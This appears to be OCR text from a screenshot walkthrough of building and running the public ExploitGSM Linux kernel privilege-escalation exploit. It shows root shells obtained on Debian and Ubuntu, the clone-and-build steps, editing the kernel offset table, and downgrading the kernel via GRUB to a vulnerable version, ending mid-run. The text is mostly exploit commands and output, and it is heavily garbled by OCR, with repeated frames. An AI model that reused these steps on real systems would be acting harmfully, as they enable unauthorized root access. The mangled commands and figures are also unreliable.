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yuriicrimson@yurii: /| $ ./ExploitGSM
kallsyms restricted, begin retvial kallsyms table

detected kernel path-> /boot/vmlinuz-6.1.0-18-amd64

detected compressed format -> xz

Uncompressed kernel size -> 65902908

successfully taken kernel!

begin try leak startup_xen!

startup_xen leaked address -> ffffffffb826f1c0

text leaked address -> ffffffffb6200000
lockdep_map_size -> 32
spinlock_t_size -> 4
mutex_size -> 32

gsm_mux_event_offset -> 56

Let go thread

We get root, spawn shell

root@yurii:/root# id

uid=0@(root) gid=@(root) groups=0(root),24(cdrom),25(floppy),27(sudo),b29(audio),30(dip),44(video)
iicrimson)

root@yurii:/root# exit

exit

Debian 12 6.1 kernel Dekstop
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Selection of Test Exploit Versions

oy IE){F}I()it(;E;'Uﬂ Public

yuriicrimson@yurii: /I ‘ pl ' ' 1/1 $ ./ExploitGSM
kallsyms restricted, begin retvial kallsyms table

detected kernel path-> /boot/vmlinuz-6.1.0-18-amd64

detected compressed format -> xz

Uncompressed kernel size -> 65902908

successfully taken kernel!

begin try leak startup_xen!

Activities (=) Terminal KBi 6 17:25 & W O

" yurii@test: /tmp/host Q

yurii@test: $ ./ExploitGSM ubuntu
permissible spray -> 500

begin try leak startup_xen!

startup_xen leaked address -> ffffffff868933coO

startup_xen leaked address -> ffffffffb826f1co text leaked address -> ffffffffe4200000
text leaked address -> ffffffffb6200000 lockdep_map_size -> 32
. spinlock_t_size -> 4
lockdep_map_size -> 32 mutex_size -> 32
spinlock_t_size -> 4 tty port -> 376
mutex_size B b tty buffhead -> 136
dead -> 524

gsm_mux_event_offset -> 56 waiting setconf dlci thread
Let go thread Wait 3 sec for ending kernel work execution

e To run a command as administrator (user "root"), use "sudo <command>",
root@yurii:/root# id

See "man sudo_root" for details.
uid=0@(root) gid=@(root) groups=0(root),24(cdrom),25(floppy),27(sudo),b29(audio),30(dip),44(video)

iicrimson) root@test:/root# id

root@yurii:/root# exit uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plug
. ' dev),122(1padmin)
exit root@test: /root# .

Debian 12 6.1 kernel Dekstop

OB 0 C

135(1xd),136(sambashare) ,1000(yurit)

Ubuntu 22.04 6.5 kernel Dekstop
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> EXploitGSM  rubiic

yuriicrimson@yurii: /I ent v ploitGSM ‘ 1/1 $ ./ExploitGSM T Activities ) Terminal KBi 6 17:25 LX)
kallsyms restricted, begin retvial kallsyms table
detected kernel path-> /boot/vmlinuz-6.1.0-18-amd64
detected compressed format -> xz

Uncompressed kernel size -> 65902908

successfully taken kernel!

begin try leak startup_xen!

startup_xen leaked address -> ffffffffb826f1c0

" yurii@test: /tmp/host Q

yurii@test: $ ./ExploitGSM ubuntu
permissible spray -> 500

begin try leak startup_xen!

startup_xen leaked address -> ffffffff868933co
text leaked address -> ffffffff84200000

lockdep_map_size 32

text leaked address -> ffffffffb6200000 e
- spinlock t _size -> 4
lockdep_map_size -> 32 mutex_size -> 32
spinlock_t_size -> 4 tty port -> 376
dead -> 524

gsm_mux_event_offset -> 56 waiting setconf dlci thread
Let go thread Wait 3 sec for ending kernel work execution

5.y t id To run a command as administrator (user "root"), use "sudo <command>",
root@yuril:/root# 1 See "man sudo_root" for details.
uid=0@(root) gid=@(root) groups=0(root),24(cdrom),25(floppy),27(sudo),b29(audio),30(dip),44(video)

iicrimson) root@test:/root# id
root@yurii:/root# exit uid=06(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plug

OB 0 C

. dev),122(1lpadmin)
exit root@test: /root# .

Debian 12 6.1 kernel Dekstop

135(1xd),136(sambashare) ,1000(yurit)

-
Ubuntu 22.04 6.5 kernel Dekstop

Excnnoit He npautoe Ha BCix aapax, Hanpuknaa Ha yoyHty. Ane Ha Debian i Fedora npautoe.
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yuriicrimson@yurii: /| ‘ p] ' ' 1/1 $ ./ExploitGSM T Activities ) Terminal KBi 6 17:25 & OO
kallsyms restricted, begin retvial kallsyms table
detected kernel path-> /boot/vmlinuz-6.1.0-18-amd64
detected compressed format -> xz

Uncompressed kernel size -> 65902908

successfully taken kernel!

begin try leak startup_xen!

startup_xen leaked address -> ffffffffb826f1c0

" yurii@test: /tmp/host Q

yurii@test: $ ./ExploitGSM ubuntu
perntsstble spray -> 500

begin try leak startup_xen!

startup_xen leaked address -> ffffffff868933coO
text leaked address -> ffffffff84200000

text leaked address -> ffffffffb6200000 lockdep_map_size -> 32

. spinlock_t_size -> 4
lockdep_map_size -> 32 mutex_size -> 32
spinlock_t_size -> 4 tty port -> 376
mutex_size B b tty buffhead -> 136
dead -> 524

gsm_mux_event_offset -> 56

Let go thread

We get root, spawn shell

root@yurii:/root# id

uid=0@(root) gid=@(root) groups=0(root),24(cdrom),25(floppy),27(sudo),b29(audio),30(dip),44(video)

waiting setconf dlci thread

Wait 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root"), use "sudo <command>",
See "man sudo_root" for details.

iy ¥ K3

iicrimson) u root@test:/root# id

Y y . uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plug
roq:@yurn./rootw exat dev),122(1lpadmin), 135(1xd),136(sambashare) ,1000(yurii)
exi

root@test: /root# .

Debian 12 6.1 kernel Dekstop

Ubuntu 22.04 6.5 kernel Dekstop

Excnnoit He npautoe Ha BCix aapax, Hanpuknaa Ha yoyHty. Ane Ha Debian i Fedora npautoe.

Exploit0] 2= 7{'d0j|A ZtSst= 22 OtHLICE. 6IE S0, Ubuntul|A|= S s}X| 2£X|0t, Debianz} FedoraO|Al= ZHS &L},
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Activities (=) Terminal kBi 6 17:25 & 0 O
I yurii@test: /tmp/host Q = < o X
yurii@test: S ./ExploitGSM ubuntu

permissible spray -> 500
begin try leak startup xen!
startup_xen leaked address -> ffffffff868933co

text leaked address -> ffffffff84200000
lockdep_map_size -> 32

spinlock_t_size -> 4

mutex_size -> 32

tty port -> 376

tty buffhead -> 136

dead -> 524

waiting setconf dlci thread

Wait 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root"), use "sudo <command>",
See "man sudo_root" for details.

OB 0 C

.

root@test:/root# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plug
dev),122(1lpadmin), 135(1xd),136(sambashare) ,1000(yurii)

root@test: /root# .

Ubuntu 22.04 6.5 kernel Dekstc;p
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Ubuntu 22.04.04 install

ubuntu® releases

Select an image

_https://releases.ubuntu.com/jammy/
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sudo apt install git gcc cmake make libcap-dev -y

mini terminal
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o o o
sudo apt install git gcc cmake make libcap-dev -y
mini terminal
(@z3rdoae0-virtual-machine:~$ sudo apt install git gcc cmake make libcap-dev -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Suggested packages:
cmake-doc ninja-build cmake-format gcc-multilib autoconf automake libtool flex bison gcc-doc git-daemon-run | git-daemon-sysvinit git-doc git-email git
gui gitk
gitweb git-cvs git-mediawiki git-svn make-doc
The following NEW packages will be installed:
cmake gcc git libcap-dev make
0 upgraded, 5 newly installed, 0 to remove and 57 not upgraded.
Need to get 8,400 kB of archives.
After this operation, 40.8 MB of additional disk space will be used.
Get:1 http://kr.archive.ubuntu.com/ubuntu jammy-updates/main amd64 cmake amd64 3.22.1-1ubuntul.22.04.2 [5,010 kB]
Get:2 http://kr.archive.ubuntu.com/ubuntu jammy/main amd64 gcc amd64 4:11.2.0-1ubuntul [5,112 B]
Get:3 http://kr.archive.ubuntu.com/ubuntu jammy-updates/main amdé64 git amdé64 1:2.34.1-1ubuntul.11 [3,165 kB]
Get:4 http://kr.archive.ubuntu.com/ubuntu jammy-updates/main amdé64 libcap-dev amd64 1:2.44-1ubuntu0.22.04.1 [39.4 kB]
Get:5 http://kr.archive.ubuntu.com/ubuntu jammy/main amd64 make amd64 4.3-4.1build1 [180 kB]
Fetched 8,400 kB in 9s (961 kB/s)
Selecting previously unselected package cmake.
(Reading database ... 211412 files and directories currently installed.)
Preparing to unpack .../cmake_3.22.1-1ubuntul.22.04.2_amd64.deb ...
Unpacking cmake (3.22.1-1ubuntul.22.04.2) ...
Selecting previously unselected package gcc.
Preparing to unpack .../gcc_4%3all.2.0-1lubuntul_amdé64.deb

i
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ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal
z3rdoae0@z3rdoael-virtual-machine:
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GSM Exploit Execution

ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal

z3rdoae0@z3rdoae0-virtual-machine:~$ git clone https://github.com/YuriiCrimson/ExploitGSM.git
Cloning into 'ExploitGSM"...

remote: Enumerating objects: 91, done.
remote: Counting objects: 100% (91/91), done.
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ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal

z3rdoae0@z3rdoae0-virtual-machine:~$ git clone https://github.com/YuriiCrimson/ExploitGSM.git
Cloning into 'ExploitGSM"...

remote: Enumerating objects: 91, done.
remote: Counting objects: 100% (91/91), done.

z3rdoae0@z3rdoae0-virtual-machine:~$ cd ExploitGSM/ExploitGSM_6_5/
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ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal

z3rdoae0@z3rdoae0-virtual-machine:~$ git clone https://github.com/YuriiCrimson/ExploitGSM.git
Cloning into 'ExploitGSM"...

remote: Enumerating objects: 91, done.

remote: Counting objects: 100% (91/91), done.

z3rdoae0@z3rdoae0-virtual-machine:~$ cd ExploitGSM/ExploitGSM_6_5/
z3rdoae0@z3rdoae0l-virtual-machine: $ mkdir build && cd build

-Lr)
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ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal

z3rdoae0@z3rdoae0-virtual-machine:~$ git clone https://github.com/YuriiCrimson/ExploitGSM.git
Cloning into 'ExploitGSM"...

remote: Enumerating objects: 91, done.

remote: Counting objects: 100% (91/91), done.

z3rdoae0@z3rdoae0-virtual-machine:~$ cd ExploitGSM/ExploitGSM_6_5/
z3rdoae0@z3rdoae0l-virtual-machine: $ mkdir build && cd build
z3rdoae0O@z3rdoael-virtual-machine: S cmake...

-- The C compiler identification is GNU 11.4.0

-- Detecting C compiler ABI info

-- Detecting C compiler ABI info - done

-Lr)
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ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal

z3rdoae0@z3rdoael-virtual-machine:~$ git clone https://github.com/YuriiCrimson/ExploitGSM.git
Cloning into 'ExploitGSM"...

remote: Enumerating objects: 91, done.
remote: Counting objects: 100% (91/91), done.

z3rdoae0@z3rdoae0-virtual-machine:~$ cd ExploitGSM/ExploitGSM_6_5/
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM 6 5/$ mkdir build && cd build
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ cmake ..

-- The C compiler identification is GNU 11.4.0

-- Detecting C compiler ABI info

-- Detecting C compiler ABI info - done

23rdoae0@23rdoae0 virtual-machine:: loitGSM/ExploitGSM_6_5/build$ make
[ 50%] Building C object CMakeFlles/ExplthSM d|r/ma|n c.0

[100%] Linking C executable ExploitGSM

[100%] Built target ExploitGSM

- ek T
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ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal

z3rdoae0@z3rdoael-virtual-machine:~$ git clone https://github.com/YuriiCrimson/ExploitGSM.git
Cloning into 'ExploitGSM"...

remote: Enumerating objects: 91, done.
remote: Counting objects: 100% (91/91), done.

z3rdoae0@z3rdoae0-virtual-machine:~$ cd ExploitGSM/ExploitGSM_6_5/
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM 6 5/$ mkdir build && cd build
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ cmake ..

-- The C compiler identification is GNU 11.4.0

-- Detecting C compiler ABI info

-- Detecting C compiler ABI info - done

23rdoae0@23rdoae0 virtual-machine:: loitGSM/ExploitGSM_6_5/build$ make
[ 50%] Building C object CMakeFlles/ExplthSM d|r/ma|n c.0

[100%] Linking C executable ExploitGSM

[100%] Built target ExploitGSM

- ek T



GSM Exploit Execution

ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal

z3rdoae0@z3rdoael-virtual-machine:~$ git clone https://github.com/YuriiCrimson/ExploitGSM.git
Cloning into 'ExploitGSM"...

remote: Enumerating objects: 91, done.

remote: Counting objects: 100% (91/91), done.

z3rdoae0@z3rdoae0-virtual-machine:~$ cd ExploitGSM/ExploitGSM_6_5/
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/$ mkdir build && cd build
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ cmake ..

-- The C compiler identification is GNU 11.4.0

-- Detecting C compiler ABI info

-- Detecting C compiler ABI info - done
z3rdoae0@z3rdoaeO-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ make

[ 50%] Building C object CMakeFiles/ExploitGSM.dir/main.c.o

[100%] Linking C executable ExploitGSM

[100%] Built target ExploitGSM
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ ./ExploitGSM ubuntu
permissible spray -> 500

begin try leak startup_xen!

startup_xen leaked address -> ffffffff9a033dd8

text leaked address -> ffffffff97a00010
lockdep_map_size -> 32

spinlock_t_size -> 4

dead

Wait 3 sec for ending kernel work execution
Error failed get root

ik
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ExplthSM/ExplthSM 6_5/main.c

| t kernel_table kernels_offsets[] = {
"ubuntu", "6.5.0-25-generic", false, false, false, true, , 0x26933¢0, 0x3910d00, 0xa22630, 0x1274¢0,
0x133eb0, 0x1120a20},

"fedora", "6.5.6-300.fc39.x86_64", false, false, , true, , 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,
0x13c¢3d0, 0x148780, Oxfbbe20

b
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ExplthSM/ExplthSM 6_5/main.c

struct kernel_table kernels_offsets[] = {
"ubuntu", "6.5.0-25-generic", false, false, false, true, , 0x26933¢0, 0x3910d00, 0xa22630, 0x1274¢0,
0x133eb0, 0x1120a20},

"fedora", "6.5.6-300. fc39 x86_64", false, false, , true, , 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,
0x13¢3d0, 0x148780, Oxfbbe20

b

mini terminal

IE’
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ExplthSM/ExplthSM 6_5/main.c

struct kernel_table kernels offsets[]—{
"ubuntu", "6.5.0-25-generic", , false, , true, , 0x26933¢0, 0x3910d00, 0xa22630, 0x1274¢0,
0x133eb0, 0x1120a20},

"fedora", "6.5.6-300.fc39.x86_64", , , , true, , 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,
0x13¢3d0, 0x148780, Oxfbbe20

b
mini terminal
:~S uname -r

6\.5\.0-35\-generic

l}‘
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ExplthSM/ExplthSM 6_5/main.c

struct kernel_table kernels_offsets[] = {
"ubuntu",|"6.5.0-25-generic"] , false, , true, , 0x26933¢0, 0x3910d00, 0xa22630, 0x1274¢0,
0x133eb0, 0x1120a20],

"fedora", "6.5.6-200.fc39.x86_64" , , , true, , 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,
0x13¢3d0, 0x14%780, Oxfbbe20

b

mini termipal

6.5.0-35-generic

-
|
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ExplthSM/ExplthSM 6_5/main.c

struct kernel_table kernels_offsets[] = {
"ubuntu",|"6.5.0-25-generic"] , false, , true, , 0x26933¢0, 0x3910d00, 0xa22630, 0x1274¢0,
0x133eb0, 0x1120a20],

le, , 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,

:~S uname -r

Diffrent Kernel Version

l}‘
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ExplthSM/ExplthSM 6_5/main.c

struct kernel_table kernels_offsets[] = {
"ubuntu", "6.5.0-25-generic", false, false, false, true, , 0x26933¢0, 0x3910d00, 0xa22630, 0x1274¢0,
0x133eb0, 0x1120a20},

"fedora", "6.5.6-300. fc39 x86_64", false, false, , true, , 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,
0x13¢3d0, 0x148780, Oxfbbe20

b
mini terminal
:~$ uname -r

6.5.0-35-generic

z3rdoae0@z3rdoael-virtual-machine:~$ sed -i 's/6.5.0-25-generic/6.5.0-35-generic/g' ./main.c
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ExploitGSM/ExploitGSM_6_5/main.c

mini terminal

do: 3rdo: :~$ uname -r
6.5.0-35-generic
z3rdoae0@z3rdoael-virtual-machine:~$ sed -i 's/6.5.0-25-generic/6.5.0-35-generic/g' ./main.c

uct kernel_table kernels_offsets[] ={

"ubuntu", "6.5.0-35-generic", false, false, false, true, false, 0x26933c0, 0x3910d00, 0xa22630, 0x1274¢0,
0x133eb0, 0x1120a20},

"fedora", "6.5.6-300.fc39.x86_64", false, false, false, true, false, 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,
0x13c¢3d0, 0x148780, Oxfbbe20

b



GSM Exploit Execution

ExploitGSM/ExploitGSM_6_5/main.c

mini terminal

6.5.0-35-generic

foael-virtual-machine:~$ sed -i 's/6.5.0-25-generic/6.5.0-35-generic/g' ./main.c

ine:~S uname -r

‘'t kernel_tablakernels_offsets[] ={

"ubuntu",['6.5.0-35-generic'] false, false, false, true, false, 0x26933¢0, 0x3910d00, 0xa22630, 0x1274c0,
0x133eb0, 0x1120a20),

"fedora", "6.5.6-300.fc39.x86_64", false, false, , true, , 0x2ad7eb0, 0x3cfcc60, 0x9b4a30,
0x13c¢3d0, 0x148780, Oxfbbe20

b
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ExplthSM/ExplthSM 6_5/main.c Build && Run

m|n| termmal ,

AN VNIV FE _ A'SaiIfATIE . VI'/E . WN.VYEAAaIEIETa
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ExplthSM/ExplthSM 6_5/main.c Build && Run

m|n| termmal ,

AN VNIV FE _ A'SaiIfATIE . VI'/E . WN.VYEAAaIEIETa
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ExplthSM/ExplthSM 6_5/main.c Build && Run

m|n| termmal ,

AN VNIV FE _ A'SaiIfATIE . VI'/E . WN.VYEAAaIEIETa

z3rodae0@z3rodae0-virtual-machine: $ rm -rf ./build
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ExplthSM/ExplthSM 6_5/main.c Build && Run

m|n| termlnal ,

AN VNIV FE _ A'SaiIfATIE . VI'/E . WN.VYEAAaIEIETa

z3rodae0@z3rodaeO-virtual-machine: S rm -rf ./build
z3rdoae0@z3rdoae0l-virtual-machine: $ mkdir build && cd build
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ExplthSM/ExplthSM 6_5/main.c Build && Run

m|n| termlnal

A ASalIfATIECr A NI'/FE A'SaiIfATEIE . VN\'/N .. VEAAaIEIITfa

z3rodae0@z3rodaeO-virtual-machine: S rm -rf ./build
z3rdoae0@z3rdoae0l-virtual-machine: $ mkdir build && cd build
z3rdoae0@z3rdoael-virtual-machine: S cmake...

-- The C compiler identification is GNU 11.4.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done

-Lr)
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ExplthSM/ExplthSM 6_5/main.c Build && Run

m|n| termlnal

A maaa L. pnﬁ} #-,&n. L. pnﬁ} h.—.‘. imEEra

z3rodae0@z3rodae0l-virtual-machine:~/ExploitGSM/Exploit 5/$ rm -rf ./build
z3rdoae0@z3rdoael-virtual-machine:~/ExploitGSM/E EGSI \ 5/$ mkdir build && cd build
z3rdoae0@z3rdoael-virtual-machine:~/ExploitGSM/ExploitGSM IS cmake ..

-- The C compiler identification is GNU 11.4.0

-- Detecting C compiler ABI info

-- Detecting C compiler ABI info - done

z3rdoae0@z3rdoae0 virtual-machine:~/ExploitGSM/ExploitGSM IS make
[ 50%] Building C object CMakeFlles/Expl0|tGSM d|r/ma|n c.0

[100%] Linking C executable ExploitGSM

[100%] Built target ExploitGSM

-Lr)

- ek T
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ExploitGSM/ExploitGSM_6_5/main.c Build && Run

mini terminal T
otreS@23reoned= e R e CEYCTITE

z3rodae0@z3rodae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/$ rm -rf ./build
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/$ mkdir build && cd build
z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ cmake ..
-- The C compiler identification is GNU 11.4.0

-- Detecting C compiler ABI info

-- Detecting C compiler ABI info - done

z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ make
[ 50%] Building C object CMakeFiles/ExploitGSM.dir/main.c.o
[100%] Linking C executable ExploitGSM

[100%] Built target ExploitGSM
z3rdoae0@z3rdoae0l-virtual-machine:~/ExploitGSM/ExploitGSM_6
permissible spray -> 500

begin try leak startup_xen!

startup_xen leaked address -> ffffffff9a033dd8

5/build$ ./ExploitGSM ubuntu

text leaked address -> ffffffff97a00010
lockdep_map_size -> 32

spinlock_t_size -> 4

dead

Wait 3 sec for ending kernel work execution
Error failed get root
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Change Kernel Version

mini terminal

sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done



GSM Exploit Execution

Change Kernel Version

mini terminal

sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed-e"s/'/[g"

0:6.5.0-35- generlc

: 6.5.0-35-generic (recovery mode)

:6.5.0-25-generic

:6.5.0-25-generic (recovery mode)

:6.5.0-18-generic

:6.5.0-18-generic (recovery mode)

m-thl—l
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Change Kernel Version

mini terminal

sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed-e"s/'/[g"
:6.5.0-35- generlc
: 6.5.0-35-generic (recovery mode)
:6.5.0-25-generic
: 6.5.0-25-generic (recovery mode)
:6.5.0-18- generlc
:6.5.0-18-generic (recovery mode)
z3rdoae0@z3rdoae0l-virtual-machine:~$ sudo sed -i 's/fGRUB_DEFAULT=>/GRUB_DEFAULT=saved/g' /etc/default/grub

m-thl—io
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Change Kernel Version

mini terminal

sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed -e"s/'/ [g"

:6.5.0-35- generlc
: 6.5.0-35-generic (recovery mode)
:6.5.0-25-generic
: 6.5.0-25-generic (recovery mode)
:6.5.0-18- generlc

:6.5.0-18-generic (recovery mode)
z3rdoae0@z3rdoae0l-virtual-machine:~$ sudo sed -i 's/fGRUB_DEFAULT=>/GRUB_DEFAULT=saved/g' /etc/default/grub
z3rodae0@z3rodae0-virtual-machine:~$ grep "GRUB_DEFAULT" /etc/default/grub

=saved

m-thl—io
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Change Kernel Version

mini terminal

sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed -e"s/'/ [g"

:6.5.0-35- generlc
: 6.5.0-35-generic (recovery mode)
:6.5.0-25-generic
:6.5.0-25-generic (recovery mode)
:6.5.0-18- generic

:6.5.0-18-generic (recovery mode)
z3rdoae0@z3rdoae0l-virtual-machine:~$ sudo sed -i 's/fGRUB_DEFAULT=>/GRUB_DEFAULT=saved/g' /etc/default/grub
z3rodae0@z3rodae0-virtual-machine:~$ grep "GRUB_DEFAULT" /etc/default/grub

=saved

z3rodae0@z3rodae0-virtual-machine:~$ sudo grub-set-default "Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-25-generic"
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Change Kernel Version

mini terminal

sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed -e"s/'/ [g"

:6.5.0-35- generlc
: 6.5.0-35-generic (recovery mode)
:6.5.0-25-generic
:6.5.0-25-generic (recovery mode)
:6.5.0-18- generic

:6.5.0-18-generic (recovery mode)
z3rdoae0@z3rdoae0l-virtual-machine:~$ sudo sed -i 's/fGRUB_DEFAULT=>/GRUB_DEFAULT=saved/g' /etc/default/grub
z3rodae0@z3rodae0-virtual-machine:~$ grep "GRUB_DEFAULT" /etc/default/grub

=saved

z3rodae0@z3rodae0-virtual-machine:~$ sudo grub-set-default "Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-25-generic"
z3rodae0@z3rodae0-virtual-machine:~$ grub-editenv list
saved_entry=Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-35-generic
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Change Kernel Version

mini terminal

| :~$ sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed -e"s/'/ [g"

:6.5.0-35- generlc
: 6.5.0-35-generic (recovery mode)
:6.5.0-25-generic
:6.5.0-25-generic (recovery mode)
:6.5.0-18- generic

:6.5.0-18-generic (recovery mode)
z3rdoae0@z3rdoae0l-virtual-machine:~$ sudo sed -i 's/fGRUB_DEFAULT=>/GRUB_DEFAULT=saved/g' /etc/default/grub
z3rodae0@z3rodae0-virtual-machine:~$ grep "GRUB_DEFAULT" /etc/default/grub

=saved

z3rodae0@z3rodae0-virtual-machine:~$ sudo grub-set-default "Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-25-generic"
z3rodae0@z3rodae0-virtual-machine:~$ grub-editenv list
saved_entry=Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-35-generic
z3rodae0@z3rodae0-virtual-machine:~$ sudo update-grub
Sourcing file * /etc/default/grub’
Sourcing file * /etc/default/grub.d/init-select.cfg’

m-thl—io
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Change Kernel Version

mini terminal

al-ma :~$ sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed -e"s/'/ [g"

:6.5.0-35- generlc
: 6.5.0-35-generic (recovery mode)
:6.5.0-25-generic
:6.5.0-25-generic (recovery mode)
:6.5.0-18- generic

:6.5.0-18-generic (recovery mode)
z3rdoae0@z3rdoae0l-virtual-machine:~$ sudo sed -i 's/fGRUB_DEFAULT=>/GRUB_DEFAULT=saved/g' /etc/default/grub
z3rodae0@z3rodae0-virtual-machine:~$ grep "GRUB_DEFAULT" /etc/default/grub

=saved

z3rodae0@z3rodae0-virtual-machine:~$ sudo grub-set-default "Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-25-generic"
z3rodae0@z3rodae0-virtual-machine:~$ grub-editenv list
saved_entry=Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-35-generic
z3rodae0@z3rodae0-virtual-machine:~$ sudo update-grub
Sourcing file * /etc/default/grub’
Sourcing file * /etc/default/grub.d/init-select.cfg’

m-thl—io

z3rodae0@z3rodae0-virtual-machine:~$ reboot
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Change Kernel Version
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‘ual-machine:~$ sudo apt install linux-image-unsigned-6.5.0-25-generic
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

z3rdoae0@z3rdoae0-virtual-machine:~$ awk -F"--class" '/menuentry/ && /with Linux/ {print $1}' /boot/grub/grub.cfg | awk '{print i++ " : " $5,56,$7,58}" |
sed -e"s/'/ [g"

:6.5.0-35- generlc
: 6.5.0-35-generic (recovery mode)
:6.5.0-25-generic
:6.5.0-25-generic (recovery mode)
:6.5.0-18- generic

:6.5.0-18-generic (recovery mode)
z3rdoae0@z3rdoae0l-virtual-machine:~$ sudo sed -i 's/fGRUB_DEFAULT=>/GRUB_DEFAULT=saved/g' /etc/default/grub
z3rodae0@z3rodae0-virtual-machine:~$ grep "GRUB_DEFAULT" /etc/default/grub

=saved

z3rodae0@z3rodae0-virtual-machine:~$ sudo grub-set-default "Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-25-generic"
z3rodae0@z3rodae0-virtual-machine:~$ grub-editenv list
saved_entry=Advanced options for Ubuntu>Ubuntu, with Linux 6.5.0-35-generic
z3rodae0@z3rodae0-virtual-machine:~$ sudo update-grub
Sourcing file * /etc/default/grub’
Sourcing file * /etc/default/grub.d/init-select.cfg’

m-thl—io

z3rodaeO@z3rodae0-virtual-machine:~$ reboot
z3rodae0O@z3rodae0-virtual-machine:~$ uname -r
6.5.0-25-generic
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z3rdoae0@z3rdoael-virtual-machine: S



GSM Exploit Execution

Last Try...

-Lr)

mini terminal

z3rdoae0@z3rdoael-virtual-machine:
permissible spray -> 500

begin try leak startup_xen!

startup_xen leaked address -> ffffffff85a933c0
text leaked address -> ffff££££83400000
lockdep_map_size ->32

spinlock_t_size ->4

mutex_size -> 32
tty port -> 376
tty buffhead -> 136
dead ->524

waiting spray thread
waiting setconf dlci thread
Wait 3 sec for ending kernel work execution

- ek T

S ./ExploitGSM ubuntu
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Last Try...

mini terminal

z3rdoae0@z3rdoae0-virtual-machine:~/ExploitGSM/ExploitGSM_6_5/build$ ./ExploitGSM ubuntu
permissible spray -> 500

begin try leak startup_xen!

startup_xen leaked address -> ffffffff85a933c0

text leaked address -> ffffffff83400000

lockdep_map_size ->32

spinlock_t_size ->4

mutex_size -> 32
tty port -> 376
tty buffhead -> 136
dead ->524

waiting spray thread

waiting setconf dlci thread

